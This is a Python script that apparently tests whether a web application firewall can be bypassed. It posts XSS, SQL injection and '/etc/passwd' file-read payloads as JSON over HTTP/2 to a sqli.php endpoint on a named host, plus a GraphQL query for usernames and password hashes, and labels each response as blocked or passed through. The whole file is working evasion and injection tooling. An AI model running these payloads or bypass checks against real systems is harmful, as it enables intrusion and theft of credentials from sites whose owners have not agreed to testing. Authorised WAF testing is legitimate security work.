import httpx, json

TARGET = "https://regtest846.alwaysdata.net/"
def requests_send(body, ct):
    try:
        r = httpx.post(TARGET + "sqli.php", content=json.dumps(body), headers={"Content-Type": ct}, verify=False, timeout=15)
        mark = "blocked" if "blocked by WAF" in r.text else ("app" if r.status_code == 200 else "?")
        return f"{r.status_code} [{mark}]"
    except Exception as e:
        return f"ERR {str(e)[:80]}"

print("== JSON body bypass over HTTP/2 ==")
try:
    with httpx.Client(http2=True, verify=False, timeout=15) as c:
        for name, body in [
            ("xss", {"q": "<script>alert(1)</script>"}),
            ("sqli", {"q": "1' OR 1=1--"}),
            ("lfi", {"file": "/etc/passwd"}),
        ]:
            r = c.post(TARGET + "sqli.php", content=json.dumps(body), headers={"Content-Type": "application/json"})
            mark = "blocked" if "blocked by WAF" in r.text else ("app" if r.status_code == 200 else "?")
            print(f"  h2 {name} => {r.http_version} {r.status_code} len={len(r.text)} [{mark}]")
except Exception as e:
    print("  h2 FAIL:", str(e)[:120])

print("== GraphQL query text via application/json vs application/graphql ==")
gql = {"query": "query { users { username passhash } }"}
for ct in ["application/json", "application/graphql"]:
    print(f"  gql via {ct:25s} => {requests_send(gql, ct)}")

print("== WebSocket: no WS endpoint on site (handshake on / = normal 200) ==")
print("  -> WS not applicable; no WS app behind this WAF.")